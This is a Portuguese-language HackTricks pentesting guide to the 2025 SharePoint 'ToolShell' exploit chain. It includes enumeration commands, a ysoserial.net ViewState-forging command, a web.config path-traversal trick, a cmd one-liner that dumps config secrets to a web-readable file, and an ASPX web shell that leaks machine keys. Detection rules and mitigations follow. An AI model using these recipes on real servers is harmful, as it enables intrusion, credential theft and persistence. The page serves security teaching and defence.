127 lines
6.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. Cadeia de exploração 2025 (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Injeção de Código em ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso.
### 2.2 CVE-2025-49706 Bypass de Autenticação Impropria
A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**.
### 2.3 CVE-2025-53770 Desserialização de ViewState Não Autenticada → RCE
Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código.
Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Path Traversal / divulgação do web.config
Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar cookies ViewState / ASPXAUTH
* strings de conexão e segredos.
## 3. Receitas de pós-exploração observadas na natureza
### 3.1 Exfiltrar todos os arquivos *.config* (variação-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
O resultado do `debug_dev.js` pode ser baixado anonimamente e contém **todas** as configurações sensíveis.
### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
```
powershell.exe -EncodedCommand <base64>
```
Exemplo de payload decodificado (abreviado):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Escrito para:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
### 3.3 Variante ofuscada (variação-3)
Mesma shell, mas:
* colocada em `...\15\TEMPLATE\LAYOUTS\`
* nomes de variáveis reduzidos a letras únicas
* `Thread.Sleep(<ms>)` adicionado para evasão de sandbox e bypass de AV baseado em tempo.
## 4. Ideias de detecção
| Telemetria | Por que é suspeito |
|------------|---------------------|
| `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin |
| Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell |
| `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página |
Exemplo de regra XDR / Sysmon (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Dureza & Mitigação
1. **Patch** Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs.
2. **Rotacione** todos os segredos `<machineKey>` e `ViewState` após a violação.
3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`.
4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível de proxy/WAF.
5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado.
## Truques relacionados
* IIS pós-exploração & abuso de web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Referências
- [Unit42 Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}